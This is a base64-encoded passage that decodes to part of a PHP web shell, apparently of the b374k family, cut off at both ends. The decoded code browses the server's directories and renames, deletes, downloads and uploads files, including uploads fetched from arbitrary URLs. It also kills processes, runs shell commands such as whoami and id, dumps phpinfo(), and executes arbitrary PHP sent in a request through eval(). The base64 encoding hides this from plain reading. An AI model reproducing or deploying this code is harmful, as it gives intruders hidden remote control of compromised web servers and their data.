ICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICRuYW1lID0gcG9zaXhfZ2V0cHd1aWQo ZmlsZW93bmVyKCRmb2xkZXIpKTsKICAgICAgICAkZ3JvdXAgPSBwb3NpeF9nZXRncmdpZChmaWxl Z3JvdXAoJGZvbGRlcikpOwogICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNs YXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICB9CiAgICAgIGVs c2UgewogICAgICAgICRvd25lciA9ICR1c2VyOwogICAgICB9CiAgICAgICRidWZmIC49ICI8dHI+ PHRkPjxhIGlkPVwiIi5jcygkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP2Q9Ii4kcHdkLiRmb2xk ZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+WyAkZm9sZGVyIF08L2E+CiAgICAgIDxmb3JtIGFj dGlvbj1cIiIgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICJcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9 XCIiLmNzKCRmb2xkZXIpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdp bjowO3BhZGRpbmc6MDtcIj4KICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xk bmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtc IiAvPgogICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRw d2QuIlwiIC8+CiAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAw cHg7XCIgaWQ9XCIiLmNzKCRmb2xkZXIpLiJfbGlua19cIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJu ZXduYW1lXCIgdmFsdWU9XCIiLiRmb2xkZXIuIlwiIC8+CiAgICAgIDxpbnB1dCBjbGFzcz1cImlu cHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVc IiAvPgogICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFt ZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNzKCRmb2xk ZXIpLiJfZm9ybScsJyIuY3MoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4KICAgICAgPC9mb3JtPgog ICAgICA8dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25l ci4iPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmdwKCRwd2QuJGZvbGRl cikuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBI OmkiLGZpbGVtdGltZSgkZm9sZGVyKSkuIjwvdGQ+PHRkPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1 a2FyKCciLmNzKCRmb2xkZXIpLiJfbGluaycsJyIuY3MoJGZvbGRlcikuIl9mb3JtJyk7XCI+cmVu YW1lPC9hPiB8IDxhIGhyZWY9XCI/ZD0iLiRwd2QuIiZhbXA7cm1kaXI9Ii4kcHdkLiRmb2xkZXIu IlwiPmRlbGV0ZTwvYT4gfCA8YSBocmVmPVwiP3VwbG9hZCZhbXA7ZD0iLiRwd2QuJGZvbGRlci4i XCI+dXBsb2FkPC9hPjwvdGQ+PC90cj4iOwogICAgfQogIH0KCiAgZm9yZWFjaCgkZm5hbWUgYXMg JGZpbGUpewogICAgJGZ1bGwgPSAkcHdkLiRmaWxlOwogICAgaWYoISR3aW4gJiYgJHBvc2l4KXsK ICAgICAgJG5hbWUgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGZ1bGwpKTsKICAgICAgJGdy b3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRmdWxsKSk7CiAgICAgICRvd25lciA9ICRu YW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFt ZSddOwogICAgfQogICAgZWxzZSB7CiAgICAgICRvd25lciA9ICR1c2VyOwogICAgfQogICAgJGJ1 ZmYgLj0gIjx0cj48dGQ+PGEgaWQ9XCIiLmNzKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP2Q9JHB3 ZCZhbXA7dmlldz0kZnVsbFwiPiRmaWxlPC9hPgogICAgPGZvcm0gYWN0aW9uPVwiIiAuICRfU0VS VkVSWydQSFBfU0VMRiddIC4gIlwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY3MoJGZpbGUpLiJf Zm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4K ICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm9sZG5hbWVcIiB2YWx1ZT1cIiIuJGZp bGUuIlwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiIC8+CiAgICA8aW5wdXQgdHlwZT1c ImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICA8aW5wdXQgY2xh c3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgaWQ9XCIi LmNzKCRmaWxlKS4iX2xpbmtfXCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cIiIuJGZpbGUuIlwi IC8+CiAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1c InJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4KICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1 dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNs aWNrPVwidHVrYXIoJyIuY3MoJGZpbGUpLiJfbGluaycsJyIuY3MoJGZpbGUpLiJfZm9ybScpO1wi IC8+CiAgICA8L2Zvcm0+CiAgICA8L3RkPjx0ZD4iLmdzKCRmdWxsKS4iPC90ZD48dGQgc3R5bGU9 XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFs aWduOmNlbnRlcjtcIj4iLmdwKCRmdWxsKS4iPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNl bnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+CiAgICA8 dGQ+PGEgaHJlZj1cIj9kPSRwd2QmYW1wO2VkaXQ9JGZ1bGxcIj5lZGl0PC9hPiB8IDxhIGhyZWY9 XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNzKCRmaWxlKS4iX2xpbmsnLCciLmNzKCRmaWxlKS4iX2Zv cm0nKTtcIj5yZW5hbWU8L2E+IHwgPGEgaHJlZj1cIj9kPSRwd2QmYW1wO2RlbGV0ZT0kZnVsbFwi PmRlbGV0ZTwvYT4gfCA8YSBocmVmPVwiP2Q9JHB3ZCZhbXA7ZGw9JGZ1bGxcIj5kb3dubG9hZDwv YT4mbmJzcDsoPGEgaHJlZj1cIj9kPSRwd2QmYW1wO2RsZ3ppcD0kZnVsbFwiPmd6aXA8L2E+KTwv dGQ+PC90cj4iOwogIH0KICAkYnVmZiAuPSAiPC90YWJsZT4iOwogIHJldHVybiAkYnVmZjsKfQoK Ly8gZmF2aWNvbgppZihpc3NldCgkX1JFUVVFU1RbJ2Zhdmljb24nXSkpewogICRkYXRhID0gZ3pp bmZsYXRlKGJhc2U2NF9kZWNvZGUoJGZhdmljb24pKTsKICBoZWFkZXIoIkNvbnRlbnQtdHlwZTog aW1hZ2UvcG5nIik7CiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsKICBlY2hvICRk YXRhOwogIGV4aXQ7Cn0KaWYoJHNfYXV0aCl7CiAgLy8gc2VydmVyIHNvZnR3YXJlCiAgJHNfc29m dHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOwogIC8vIGNoZWNrIHNhZmVtb2RlCiAg aWYgKGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoaW5pX2dldCgic2FmZV9tb2Rl IikpID09ICJvbiIpICAkc19zYWZlbW9kZSA9IFRSVUU7IGVsc2UgJHNfc2FmZW1vZGUgPSBGQUxT RTsKICAvLyB1bmFtZSAtYQogICRzX3N5c3RlbSA9IHBocF91bmFtZSgpOwogIC8vIGNoZWNrIG9z CiAgJHNfd2luID0gRkFMU0U7CiAgaWYoc3RydG9sb3dlcihzdWJzdHIoJHNfc3lzdGVtLDAsMykp ID09ICJ3aW4iKSAkc193aW4gPSBUUlVFOwogIC8vIGdldCBwYXRoIGFuZCBhbGwgZHJpdmVzIGF2 YWlsYWJsZQogICRsZXR0ZXJzID0gJyc7CiAgaWYoISRzX3dpbil7CiAgICBpZighJHNfdXNlciA9 IHJwKGV4ZSgid2hvYW1pIikpKSAkc191c2VyID0gIiI7CiAgICBpZighJHNfaWQgPSBycChleGUo ImlkIikpKSAkc19pZCA9ICIiOwogICAgJHB3ZCA9IGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFU T1I7CiAgfQogIGVsc2UgewogICAgJHNfdXNlciA9IGdldF9jdXJyZW50X3VzZXIoKTsKICAgICRz X2lkID0gJHNfdXNlcjsKICAgICRwd2QgPSByZWFscGF0aCgiLiIpLiJcXCI7CiAgICAvLyBmaW5k IGRyaXZlIGxldHRlcnMKICAgICAkdiA9IGV4cGxvZGUoIlxcIiwkZCk7CiAgICAkdiA9ICR2WzBd OwogICAgZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcil7CiAgICAgICRib29sID0g QGlzX2RpcigkbGV0dGVyLiI6XFwiKTsKICAgICAgaWYgKCRib29sKXsKICAgICAgICAkbGV0dGVy cyAuPSAiPGEgaHJlZj1cIj9kPSIuJGxldHRlci4iOlxcXCI+WyAiOwogICAgICAgIGlmICgkbGV0 dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQogICAgICAgIGVsc2UgeyRsZXR0 ZXJzIC49ICI8c3BhbiBjbGFzcz1cImdheWFcIj4iLiRsZXR0ZXIuIjwvc3Bhbj4iO30KICAgICAg ICAkbGV0dGVycyAuPSAiIF08L2E+ICI7CiAgICAgIH0KICAgIH0KICB9CiAgLy8gcHJvbXB0IHN0 eWxlLi4KICAkc19wcm9tcHQgPSAkc191c2VyLiIgJmd0OyI7CgogIC8vIGNoZWNrIGZvciBwb3Np eAogIGlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlz dHMoInBvc2l4X2dldGdyZ2lkIikpICRzX3Bvc2l4ID0gVFJVRTsKICBlbHNlICRzX3Bvc2l4ID0g RkFMU0U7CgogIC8vIHNlcnZlciBpcAogICRzX3NlcnZlcl9pcCA9IGdldGhvc3RieW5hbWUoJF9T RVJWRVJbIkhUVFBfSE9TVCJdKTsKICAvLyB5b3VyIGlwIDstKQogICRzX215X2lwID0gJF9TRVJW RVJbJ1JFTU9URV9BRERSJ107CgogIC8vIGNoYW5nZSB3b3JraW5nIGRpcmVjdG9yeQogIGlmKGlz c2V0KCRfUkVRVUVTVFsnZCddKSl7CiAgICAkZCA9IHNzKCRfUkVRVUVTVFsnZCddKTsKICAgIGlm KGlzX2RpcigkZCkpewogICAgICBjaGRpcigkZCk7CiAgICAgICRwd2QgPSBjcCgkZCk7CiAgICB9 CiAgfQogIGVsc2UgJHB3ZCA9IGNwKGdldGN3ZCgpKTsKICAvLyBzb3J0dGFibGUuanMKICBpZihp c3NldCgkX1JFUVVFU1RbJ3NvcnR0YWJsZSddKSl7CiAgICAkZGF0YSA9IGd6aW5mbGF0ZShiYXNl NjRfZGVjb2RlKCRzb3J0YWJsZV9qcykpOwogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQv cGxhaW4iKTsKICAgIGhlYWRlcigiQ2FjaGUtY29udHJvbDogcHVibGljIik7CiAgICBlY2hvICRk YXRhOwogICAgZXhpdDsKICB9CiAgLy8gZG93bmxvYWQgZmlsZSBzcGVjaWZpZWQgYnkgP2RsPTxm aWxlPgogIGlmKGlzc2V0KCRfUkVRVUVTVFsnZGwnXSkgJiYgKCRfUkVRVUVTVFsnZGwnXSAhPSAi IikpewogICAgJGYgPSBzcygkX1JFUVVFU1RbJ2RsJ10pOwogICAgJGZjID0gZmlsZV9nZXRfY29u dGVudHMoJGYpOwogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0 cmVhbSIpOwogICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZjKSk7CiAgICBo ZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNl bmFtZSgkZikuIlwiOyIpOwogICAgZWNobyAkZmM7CiAgICBleGl0OwogIH0gLy8gZG93bmxvYWQg ZmlsZSBzcGVjaWZpZWQgYnkgP2RsZ3ppcD08ZmlsZT4gYXMgZ3ppcAogIGVsc2VpZihpc3NldCgk X1JFUVVFU1RbJ2RsZ3ppcCddKSAmJiAoJF9SRVFVRVNUWydkbGd6aXAnXSAhPSAiIikpewogICAg JGYgPSBzcygkX1JFUVVFU1RbJ2RsZ3ppcCddKTsKICAgICRmYyA9IGd6ZW5jb2RlKGZpbGVfZ2V0 X2NvbnRlbnRzKCRmKSk7CiAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi94LWd6 aXBcbiIpOwogICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZjKSk7CiAgICBo ZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNl bmFtZSgkZikuIi5nelwiOyIpOwogICAgZWNobyAkZmM7CiAgICBleGl0OwogIH0KICAvLyBraWxs IHByb2Nlc3Mgc3BlY2lmaWVkIGJ5IHBpZAogIGlmKGlzc2V0KCRfUkVRVUVTVFsncGlkJ10pKXsK ICAgICRwID0gc3MoJF9SRVFVRVNUWydwaWQnXSk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInBv c2l4X2tpbGwiKSkgcG9zaXhfa2lsbCgkcCwnOScpOwogICAgZWxzZXsKICAgICAgZXhlKCJraWxs IC05ICIuJHApOwogICAgICBleGUoInRhc2traWxsIC9GIC9QSUQgIi4kcCk7CiAgICB9CiAgfQog IC8vIHZpZXcgaW1hZ2Ugc3BlY2lmaWVkIGJ5ID9pbWc9PGZpbGU+CiAgaWYoaXNzZXQoJF9SRVFV RVNUWydpbWcnXSkpewogICAgb2JfY2xlYW4oKTsKICAgICRkID0gc3MoJF9SRVFVRVNUWydkJ10p OwogICAgJGYgPSBzcygkX1JFUVVFU1RbJ2ltZyddKTsKICAgICRpbmYgPSBnZXRpbWFnZXNpemUo JGQuJGYpOwogICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsKICAgICRleHQgPSAkZXh0W2NvdW50 KCRleHQpLTFdOwogICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRpbmZbIm1pbWUiXSk7CiAg ICAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsKICAgIGhlYWRlcigiRXhwaXJlczog Ii5kYXRlKCJyIixta3RpbWUoMCwwLDAsMSwxLDIwMzApKSk7CiAgICBoZWFkZXIoIkNhY2hlLWNv bnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOwogICAgIHJlYWRmaWxlKCRkLiRmKTsKICAg ICBleGl0OwogIH0KICAvLyByZW5hbWUgZmlsZSBvciBmb2xkZXIKICBpZihpc3NldCgkX1JFUVVF U1RbJ3JlbmFtZSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ29sZG5hbWUnXSkgJiYgaXNzZXQoJF9S RVFVRVNUWyduZXduYW1lJ10pKXsKICAgICRvbGQgPSBzcygkX1JFUVVFU1RbJ29sZG5hbWUnXSk7 CiAgICAkbmV3ID0gc3MoJF9SRVFVRVNUWyduZXduYW1lJ10pOwogICAgcmVuYW1lKCRwd2QuJG9s ZCwkcHdkLiRuZXcpOwogICAgJGZuZXcgPSAkcHdkLiRuZXc7CiAgfQogIC8vIGRlbGV0ZSBmaWxl CiAgaWYoaXNzZXQoJF9SRVFVRVNUWydkZWxldGUnXSkgJiYgKCRfUkVRVUVTVFsnZGVsZXRlJ10g IT0gIiIpKXsKICAgICRmID0gc3MoJF9SRVFVRVNUWydkZWxldGUnXSk7CiAgICBpZihpc19maWxl KCRmKSkgdW5saW5rKCRmKTsKICB9IC8vIGRlbGV0ZSBkaXIKICBlbHNlaWYoaXNzZXQoJF9SRVFV RVNUWydybWRpciddKSAmJiAoJF9SRVFVRVNUWydybWRpciddICE9ICIiKSl7CiAgICAkZiA9IHNz KHJ0cmltKHNzKCRfUkVRVUVTVFsncm1kaXInXSxESVJFQ1RPUllfU0VQQVJBVE9SKSkpOwogICAg aWYoaXNfZGlyKCRmKSkgcm1kaXJzKCRmKTsKICB9IC8vIGNyZWF0ZSBkaXIKICBlbHNlaWYoaXNz ZXQoJF9SRVFVRVNUWydta2RpciddKSAmJiAoJF9SRVFVRVNUWydta2RpciddICE9ICIiKSl7CiAg ICAkZiA9IHNzKCRwd2Quc3MoJF9SRVFVRVNUWydta2RpciddKSk7CiAgICBpZighaXNfZGlyKCRm KSkgbWtkaXIoJGYpOwogIH0KICAvLyBib3ggcmVzdWx0CiAgJHNfcmVzdWx0ID0gIiI7CiAgLy8g cGhwIGV2YWwoKSBmdW5jdGlvbgogIGlmKGlzc2V0KCRfUkVRVUVTVFsnZXZhbCddKSl7CiAgICAk YyA9ICIiOwogICAgaWYoaXNzZXQoJF9SRVFVRVNUWydldmFsY29kZSddKSl7CiAgICAgIC8vIHNo b3cgZXJyb3IKICAgICAgJGV2YWxfYWRkaXRpb24gPSAiZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTtA aW5pX3NldChcImRpc3BsYXlfZXJyb3JzXCIsIDEpOyI7CiAgICAgICRjID0gc3MoJF9SRVFVRVNU WydldmFsY29kZSddKTsKICAgICAgb2Jfc3RhcnQoKTsKICAgICAgZXZhbChldmFsKCRldmFsX2Fk ZGl0aW9uKSAuIGV2YWwoJGMpKTsKICAgICAgJGIgPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAg b2JfZW5kX2NsZWFuKCk7CiAgICAgICRjb2RlID0gJGI7CiAgICB9CiAgICAkc19yZXN1bHQgLj0g IiAgPGZvcm0gYWN0aW9uPVwiIiAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIlwiIG1ldGhvZD1c InBvc3RcIj4KICAgICAgICA8dGV4dGFyZWEgaWQ9XCJldmFsY29kZVwiIG5hbWU9XCJldmFsY29k ZVwiIGNsYXNzPVwiZXZhbGNvZGVcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGNvZGUpLiI8L3RleHRh cmVhPgogICAgICAgIDxwPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cImV2YWxjb2Rlc3Vi bWl0XCIgY2xhc3M9XCJpbnB1dHpidXRcIiB2YWx1ZT1cIkdvICFcIiBzdHlsZT1cIndpZHRoOjEy MHB4O2hlaWdodDozMHB4O1wiIC8+PC9wPgogIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1c ImV2YWxcIiB2YWx1ZT1cIlwiIC8+CiAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZFwi IHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogIDwvZm9ybT4KICAgICAgICAiOwogIH0gLy8gdXBsb2Fk ICEKICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWyd1cGxvYWQnXSkpewogICAgJHNfcmVzdWx0ID0g IiAiOwogICAgJG1zZyA9ICIiOwogICAgaWYoaXNzZXQoJF9SRVFVRVNUWyd1cGxvYWRoZCddKSl7 CiAgICAgICRmbiA9ICRfRklMRVNbJ2ZpbGVwYXRoJ11bJ25hbWUnXTsKICAgICAgaWYoaXNfdXBs b2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlcGF0aCddWyd0bXBfbmFtZSddKSl7CiAgICAgICAgJHAg PSBjcChzcygkX1JFUVVFU1RbJ3NhdmVmb2xkZXInXSkpOwogICAgICAgIGlmKCFpc19kaXIoJHAp KSAkcCA9IGNwKGRpcm5hbWUoJHApKTsKICAgICAgICBpZihpc3NldCgkX1JFUVVFU1RbJ3NhdmVm aWxlbmFtZSddKSAmJiAodHJpbSgkX1JFUVVFU1RbJ3NhdmVmaWxlbmFtZSddKSE9IiIpKSAkZm4g PSBzcygkX1JFUVVFU1RbJ3NhdmVmaWxlbmFtZSddKTsKICAgICAgICAkdG0gPSAkX0ZJTEVTWydm aWxlcGF0aCddWyd0bXBfbmFtZSddOwogICAgICAgICRwaSA9IGNwKCRwKS4kZm47CiAgICAgICAg JHN0ID0gbW92ZV91cGxvYWRlZF9maWxlKCR0bSwkcGkpOwogICAgICAgIGlmKCRzdCkgICRtc2cg PSAiPHAgY2xhc3M9XCJyc19yZXN1bHRcIj5maWxlIHVwbG9hZGVkIHRvIDxhIGhyZWY9XCI/ZD0i LiRwd2QuIiZhbXA7dmlldz0iLiRwaS4iXCI+Ii4kcGkuIjwvYT48L3A+IjsKICAgICAgICBlbHNl ICRtc2cgPSAiPHAgY2xhc3M9XCJyc19yZXN1bHRcIj5mYWlsZWQgdG8gdXBsb2FkICIuJGZuLiI8 L3A+IjsKICAgICAgfQogICAgICBlbHNlICRtc2cgPSAiPHAgY2xhc3M9XCJyc19yZXN1bHRcIj5m YWlsZWQgdG8gdXBsb2FkICIuJGZuLiI8L3A+IjsKICAgIH0KICAgIGVsc2VpZihpc3NldCgkX1JF UVVFU1RbJ3VwbG9hZHVybCddKSl7CiAgICAgIC8vIGZ1bmN0aW9uIGRsZmlsZSgkdXJsLCRmcGF0 aCl7CiAgICAgICRwID0gY3Aoc3MoJF9SRVFVRVNUWydzYXZlZm9sZGVydXJsJ10pKTsKICAgICAg aWYoIWlzX2RpcigkcCkpICRwID0gY3AoZGlybmFtZSgkcCkpOwogICAgICAkZnUgPSBzcygkX1JF UVVFU1RbJ2ZpbGV1cmwnXSk7CiAgICAgICRmbiA9IGJhc2VuYW1lKCRmdSk7CiAgICAgIGlmKGlz c2V0KCRfUkVRVUVTVFsnc2F2ZWZpbGVuYW1ldXJsJ10pICYmICh0cmltKCRfUkVRVUVTVFsnc2F2 ZWZpbGVuYW1ldXJsJ10pIT0iIikpICRmbiA9IHNzKCRfUkVRVUVTVFsnc2F2ZWZpbGVuYW1ldXJs J10pOwogICAgICAkZnAgPSBjcCgkcCkuJGZuOwogICAgICAkc3QgPSBkbGZpbGUoJGZ1LCRmcCk7 CiAgICAgIGlmKCRzdCkgJG1zZyA9ICI8cCBjbGFzcz1cInJzX3Jlc3VsdFwiPmZpbGUgdXBsb2Fk ZWQgdG8gPGEgaHJlZj1cIj9kPSIuJHB3ZC4iJmFtcDt2aWV3PSIuJGZwLiJcIj4iLiRmcC4iPC9h PjwvcD4iOwogICAgICBlbHNlICRtc2cgPSAiPHAgY2xhc3M9XCJyc19yZXN1bHRcIj5mYWlsZWQg dG8gdXBsb2FkICIuJGZuLiI8L3A+IjsKICAgIH0gIAoKICAgICRzX3Jlc3VsdCAuPSAkbXNnOwog ICAgJHNfcmVzdWx0IC49ICIKICAgIDxmb3JtIGFjdGlvbj1cIiIgLiAkX1NFUlZFUlsnUEhQX1NF TEYnXSAuICI/dXBsb2FkXCIgbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9y bS1kYXRhXCI+CiAgICA8ZGl2IGNsYXNzPVwibXlib3hcIj48aDI+VXBsb2FkIGZyb20gY29tcHV0 ZXI8L2gyPgogICAgPHRhYmxlIGNsYXNzPVwibXlib3h0YmxcIj4KICAgIDx0cj48dGQgc3R5bGU9 XCJ3aWR0aDoxMDBweDtcIj5GaWxlPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1c ImZpbGVwYXRoXCIgY2xhc3M9XCJpbnB1dHpidXRcIiBzdHlsZT1cIndpZHRoOjQwMHB4O21hcmdp bjowO1wiIC8+CiAgPC90ZD48L3RyPgogICAgPHRyPjx0ZD5TYXZlIHRvPC90ZD48dGQ+PGlucHV0 IHN0eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFt ZT1cInNhdmVmb2xkZXJcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz48L3RkPjwvdHI+CiAgICA8dHI+ PHRkPkZpbGVuYW1lIChvcHRpb25hbCk8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAl O1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwic2F2ZWZpbGVuYW1lXCIg dmFsdWU9XCJcIiAvPjwvdGQ+PC90cj4KICAgIDx0cj48dGQ+Jm5ic3A7PC90ZD48dGQ+CiAgICA8 aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJ1cGxvYWRoZFwiIGNsYXNzPVwiaW5wdXR6YnV0 XCIgdmFsdWU9XCJVcGxvYWQgIVwiIHN0eWxlPVwid2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFy Z2luOjEwcHggMnB4IDAgMnB4O1wiIC8+CiAgPC90ZD48L3RyPgoKICAgIDxpbnB1dCB0eXBlPVwi aGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgIDwvdGFibGU+CiAg ICA8L2Rpdj4KICAgIDwvZm9ybT4KCiAgICA8Zm9ybSBhY3Rpb249XCIiIC4gJF9TRVJWRVJbJ1BI UF9TRUxGJ10gLiAiP3VwbG9hZFwiIG1ldGhvZD1cInBvc3RcIj4KICAgIDxkaXYgY2xhc3M9XCJt eWJveFwiPjxoMj5VcGxvYWQgZnJvbSBpbnRlcm5ldDwvaDI+CiAgICA8dGFibGUgY2xhc3M9XCJt eWJveHRibFwiPgogICAgPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiPkZpbGUgVVJMPC90 ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9 XCJ0ZXh0XCIgbmFtZT1cImZpbGV1cmxcIiB2YWx1ZT1cIlwiIC8+CiAgPC90ZD48L3RyPgogICAg PHRyPjx0ZD5TYXZlIHRvPC90ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFz cz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNhdmVmb2xkZXJ1cmxcIiB2YWx1ZT1c IiIuJHB3ZC4iXCIgLz48L3RkPjwvdHI+CiAgICA8dHI+PHRkPkZpbGVuYW1lIChvcHRpb25hbCk8 L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlw ZT1cInRleHRcIiBuYW1lPVwic2F2ZWZpbGVuYW1ldXJsXCIgdmFsdWU9XCJcIiAvPjwvdGQ+PC90 cj4KICAgIDx0cj48dGQ+Jm5ic3A7PC90ZD48dGQ+CiAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwi IG5hbWU9XCJ1cGxvYWR1cmxcIiBjbGFzcz1cImlucHV0emJ1dFwiIHZhbHVlPVwiVXBsb2FkICFc IiBzdHlsZT1cIndpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDtc IiAvPgogIDwvdGQ+PC90cj4KCiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIg dmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICA8L3RhYmxlPgogICAgPC9kaXY+CiAgICA8L2Zvcm0+ CgogICAgIjsKICB9IC8vIHNob3cgcGhwaW5mbygpCiAgZWxzZWlmKGlzc2V0KCRfUkVRVUVTVFsn cGhwaW5mbyddKSl7CiAgICBvYl9zdGFydCgpOwogICAgZXZhbCgicGhwaW5mbygpOyIpOwogICAg JGIgPSBvYl9nZXRfY29udGVudHMoKTsKICAgIG9iX2VuZF9jbGVhbigpOwogICAgJGEgPSBzdHJw b3MoJGIsIjxib2R5PiIpKzY7IC8vIHllYWggYmFieSwsIHlvdXIgYm9keSBpcyB3b25kZXJsYW5k 